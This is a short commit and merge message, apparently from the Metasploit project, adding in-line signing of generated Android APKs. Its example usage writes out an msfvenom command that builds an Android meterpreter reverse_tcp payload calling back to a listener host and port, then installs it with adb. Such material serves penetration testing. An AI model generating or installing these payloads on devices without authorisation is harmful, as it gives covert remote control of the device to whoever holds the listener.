Add in-line signing

Signing the generated APK in the module means users don't have to have
keytool or jarsigner to create a working package.

Example usage:
  ./msfvenom -p android/meterpreter/reverse_tcp \
    LHOST=192.168.99.1 LPORT=2222 -f raw > meterp.apk
  adb install ./meterp.apk
Merge pull request #1 from jlee-r7/landing-1708-android-meterp

Add in-line signing